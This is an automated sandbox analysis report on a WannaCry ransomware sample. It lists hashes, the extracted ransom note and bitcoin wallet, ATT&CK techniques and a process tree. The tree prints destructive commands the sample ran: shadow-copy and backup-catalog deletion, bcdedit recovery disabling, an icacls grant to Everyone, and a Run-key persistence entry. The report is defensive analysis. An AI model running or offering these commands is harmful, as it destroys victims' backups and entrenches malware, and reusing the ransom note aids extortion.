wannacry | ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Target

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Size

3.4MB
MD5

84c82835a5d21bbcf75a61706d8ab549
SHA1

5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
SHA256

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
SHA512

90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244

Score

10^/10

wannacry discovery persistence ransomware spyware worm

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Executes dropped EXE 16 IoCs

pid	Process
320	taskdl.exe
1272	@[email protected]
2028	@[email protected]
1240	taskhsvc.exe
768	taskse.exe
1940	@[email protected]
1772	taskdl.exe
1448	taskse.exe
1352	@[email protected]
1296	taskdl.exe
1628	taskse.exe
1308	@[email protected]
320	taskdl.exe
1696	taskse.exe
1960	@[email protected]
1988	taskdl.exe

Modifies extensions of user files 12 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\ClearRename.tif.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\JoinEdit.png.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\TestUnprotect.png.WNCRYT => C:\Users\Admin\Pictures\TestUnprotect.png.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\TestUnprotect.png.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\ClearRename.tif.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\ClearRename.tif.WNCRYT => C:\Users\Admin\Pictures\ClearRename.tif.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\GrantSave.png.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\GrantSave.png.WNCRYT => C:\Users\Admin\Pictures\GrantSave.png.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\GrantSave.png.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\JoinEdit.png.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\JoinEdit.png.WNCRYT => C:\Users\Admin\Pictures\JoinEdit.png.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\TestUnprotect.png.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDEA4.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Loads dropped DLL 39 IoCs

pid	Process
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
824	cscript.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1296	cmd.exe
1296	cmd.exe
1272	@[email protected]
1272	@[email protected]
1240	taskhsvc.exe
1240	taskhsvc.exe
1240	taskhsvc.exe
1240	taskhsvc.exe
1240	taskhsvc.exe
1240	taskhsvc.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1964	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\uyjnwwlakzsi360 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\""	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1804	vssadmin.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1688	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1240	taskhsvc.exe
1240	taskhsvc.exe
1240	taskhsvc.exe

Suspicious use of AdjustPrivilegeToken 51 IoCs

description	pid	Process
Token: SeBackupPrivilege	1188	vssvc.exe
Token: SeRestorePrivilege	1188	vssvc.exe
Token: SeAuditPrivilege	1188	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1368	WMIC.exe
Token: SeSecurityPrivilege	1368	WMIC.exe
Token: SeTakeOwnershipPrivilege	1368	WMIC.exe
Token: SeLoadDriverPrivilege	1368	WMIC.exe
Token: SeSystemProfilePrivilege	1368	WMIC.exe
Token: SeSystemtimePrivilege	1368	WMIC.exe
Token: SeProfSingleProcessPrivilege	1368	WMIC.exe
Token: SeIncBasePriorityPrivilege	1368	WMIC.exe
Token: SeCreatePagefilePrivilege	1368	WMIC.exe
Token: SeBackupPrivilege	1368	WMIC.exe
Token: SeRestorePrivilege	1368	WMIC.exe
Token: SeShutdownPrivilege	1368	WMIC.exe
Token: SeDebugPrivilege	1368	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1368	WMIC.exe
Token: SeRemoteShutdownPrivilege	1368	WMIC.exe
Token: SeUndockPrivilege	1368	WMIC.exe
Token: SeManageVolumePrivilege	1368	WMIC.exe
Token: 33	1368	WMIC.exe
Token: 34	1368	WMIC.exe
Token: 35	1368	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1368	WMIC.exe
Token: SeSecurityPrivilege	1368	WMIC.exe
Token: SeTakeOwnershipPrivilege	1368	WMIC.exe
Token: SeLoadDriverPrivilege	1368	WMIC.exe
Token: SeSystemProfilePrivilege	1368	WMIC.exe
Token: SeSystemtimePrivilege	1368	WMIC.exe
Token: SeProfSingleProcessPrivilege	1368	WMIC.exe
Token: SeIncBasePriorityPrivilege	1368	WMIC.exe
Token: SeCreatePagefilePrivilege	1368	WMIC.exe
Token: SeBackupPrivilege	1368	WMIC.exe
Token: SeRestorePrivilege	1368	WMIC.exe
Token: SeShutdownPrivilege	1368	WMIC.exe
Token: SeDebugPrivilege	1368	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1368	WMIC.exe
Token: SeRemoteShutdownPrivilege	1368	WMIC.exe
Token: SeUndockPrivilege	1368	WMIC.exe
Token: SeManageVolumePrivilege	1368	WMIC.exe
Token: 33	1368	WMIC.exe
Token: 34	1368	WMIC.exe
Token: 35	1368	WMIC.exe
Token: SeTcbPrivilege	768	taskse.exe
Token: SeTcbPrivilege	768	taskse.exe
Token: SeTcbPrivilege	1448	taskse.exe
Token: SeTcbPrivilege	1448	taskse.exe
Token: SeTcbPrivilege	1628	taskse.exe
Token: SeTcbPrivilege	1628	taskse.exe
Token: SeTcbPrivilege	1696	taskse.exe
Token: SeTcbPrivilege	1696	taskse.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
1272	@[email protected]
1272	@[email protected]
2028	@[email protected]
2028	@[email protected]
1940	@[email protected]
1940	@[email protected]
1352	@[email protected]
1308	@[email protected]
1960	@[email protected]

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1680 wrote to memory of 1924	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	26
PID 1680 wrote to memory of 1924	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	26
PID 1680 wrote to memory of 1924	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	26
PID 1680 wrote to memory of 1924	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	26
PID 1680 wrote to memory of 1964	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	28
PID 1680 wrote to memory of 1964	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	28
PID 1680 wrote to memory of 1964	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	28
PID 1680 wrote to memory of 1964	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	28
PID 1680 wrote to memory of 320	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	33
PID 1680 wrote to memory of 320	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	33
PID 1680 wrote to memory of 320	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	33
PID 1680 wrote to memory of 320	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	33
PID 1680 wrote to memory of 1644	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	34
PID 1680 wrote to memory of 1644	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	34
PID 1680 wrote to memory of 1644	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	34
PID 1680 wrote to memory of 1644	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	34
PID 1644 wrote to memory of 824	1644	cmd.exe	36
PID 1644 wrote to memory of 824	1644	cmd.exe	36
PID 1644 wrote to memory of 824	1644	cmd.exe	36
PID 1644 wrote to memory of 824	1644	cmd.exe	36
PID 1680 wrote to memory of 1272	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	38
PID 1680 wrote to memory of 1272	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	38
PID 1680 wrote to memory of 1272	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	38
PID 1680 wrote to memory of 1272	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	38
PID 1680 wrote to memory of 1296	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	39
PID 1680 wrote to memory of 1296	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	39
PID 1680 wrote to memory of 1296	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	39
PID 1680 wrote to memory of 1296	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	39
PID 1296 wrote to memory of 2028	1296	cmd.exe	41
PID 1296 wrote to memory of 2028	1296	cmd.exe	41
PID 1296 wrote to memory of 2028	1296	cmd.exe	41
PID 1296 wrote to memory of 2028	1296	cmd.exe	41
PID 1272 wrote to memory of 1240	1272	@[email protected]	42
PID 1272 wrote to memory of 1240	1272	@[email protected]	42
PID 1272 wrote to memory of 1240	1272	@[email protected]	42
PID 1272 wrote to memory of 1240	1272	@[email protected]	42
PID 2028 wrote to memory of 1556	2028	@[email protected]	44
PID 2028 wrote to memory of 1556	2028	@[email protected]	44
PID 2028 wrote to memory of 1556	2028	@[email protected]	44
PID 2028 wrote to memory of 1556	2028	@[email protected]	44
PID 1556 wrote to memory of 1804	1556	cmd.exe	46
PID 1556 wrote to memory of 1804	1556	cmd.exe	46
PID 1556 wrote to memory of 1804	1556	cmd.exe	46
PID 1556 wrote to memory of 1804	1556	cmd.exe	46
PID 1556 wrote to memory of 1368	1556	cmd.exe	48
PID 1556 wrote to memory of 1368	1556	cmd.exe	48
PID 1556 wrote to memory of 1368	1556	cmd.exe	48
PID 1556 wrote to memory of 1368	1556	cmd.exe	48
PID 1680 wrote to memory of 768	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	51
PID 1680 wrote to memory of 768	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	51
PID 1680 wrote to memory of 768	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	51
PID 1680 wrote to memory of 768	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	51
PID 1680 wrote to memory of 1940	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	52
PID 1680 wrote to memory of 1940	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	52
PID 1680 wrote to memory of 1940	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	52
PID 1680 wrote to memory of 1940	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	52
PID 1680 wrote to memory of 1984	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	53
PID 1680 wrote to memory of 1984	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	53
PID 1680 wrote to memory of 1984	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	53
PID 1680 wrote to memory of 1984	1680	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	53
PID 1984 wrote to memory of 1688	1984	cmd.exe	55
PID 1984 wrote to memory of 1688	1984	cmd.exe	55
PID 1984 wrote to memory of 1688	1984	cmd.exe	55
PID 1984 wrote to memory of 1688	1984	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1924	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Loads dropped DLL
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
PID:1680
- C:\Windows\SysWOW64\attrib.exe
  attrib +h .
  2⤵
  - Views/modifies file attributes
  PID:1924
- C:\Windows\SysWOW64\icacls.exe
  icacls . /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:1964
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c 175161613137377.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    3⤵
    - Loads dropped DLL
    PID:824
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected] co
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1272
- - C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
    TaskData\Tor\taskhsvc.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:1240
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /b @[email protected] vs
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1296
- - C:\Users\Admin\AppData\Local\Temp\@[email protected]
    @[email protected] vs
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2028
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1556
    - - C:\Windows\SysWOW64\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:1804
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1368
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:768
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - Suspicious use of SetWindowsHookEx
  PID:1940
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "uyjnwwlakzsi360" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "uyjnwwlakzsi360" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:1688
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1772
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1448
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1352
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1296
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1628
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1308
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:320
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1696
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1960
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:1988

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1188

C:\Windows\system32\notepad.exe
"C:\Windows\system32\notepad.exe"
1⤵
PID:1528

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/824-56-0x0000000002630000-0x0000000002634000-memory.dmp

Filesize
16KB

Download
memory/1240-185-0x0000000074971000-0x0000000074AE6000-memory.dmp

Filesize
1.5MB

Download
memory/1240-419-0x0000000003710000-0x0000000003721000-memory.dmp

Filesize
68KB

Download
memory/1240-420-0x0000000003300000-0x0000000003311000-memory.dmp

Filesize
68KB

Download
memory/1240-418-0x0000000003300000-0x0000000003311000-memory.dmp

Filesize
68KB

Download
memory/1240-253-0x0000000002C00000-0x0000000002C11000-memory.dmp

Filesize
68KB

Download
memory/1240-252-0x0000000003010000-0x0000000003021000-memory.dmp

Filesize
68KB

Download
memory/1240-82-0x0000000002C00000-0x0000000002C11000-memory.dmp

Filesize
68KB

Download
memory/1240-83-0x0000000003010000-0x0000000003021000-memory.dmp

Filesize
68KB

Download
memory/1240-84-0x0000000002C00000-0x0000000002C11000-memory.dmp

Filesize
68KB

Download
memory/1240-183-0x0000000074C11000-0x0000000074C55000-memory.dmp

Filesize
272KB

Download
memory/1240-251-0x0000000002C00000-0x0000000002C11000-memory.dmp

Filesize
68KB

Download
memory/1240-187-0x00000000748E1000-0x0000000074931000-memory.dmp

Filesize
320KB

Download
memory/1240-189-0x00000000748B1000-0x00000000748C4000-memory.dmp

Filesize
76KB

Download
memory/1240-191-0x00000000012E1000-0x000000000151E000-memory.dmp

Filesize
2.2MB

Download
memory/1528-715-0x000007FEFC2C1000-0x000007FEFC2C3000-memory.dmp

Filesize
8KB

Download
memory/1528-722-0x0000000000470000-0x0000000000471000-memory.dmp

Filesize
4KB

Download
memory/1680-5-0x0000000010000000-0x0000000010010000-memory.dmp

Filesize
64KB

Download
memory/1680-4-0x00000000756A1000-0x00000000756A3000-memory.dmp

Filesize
8KB

Download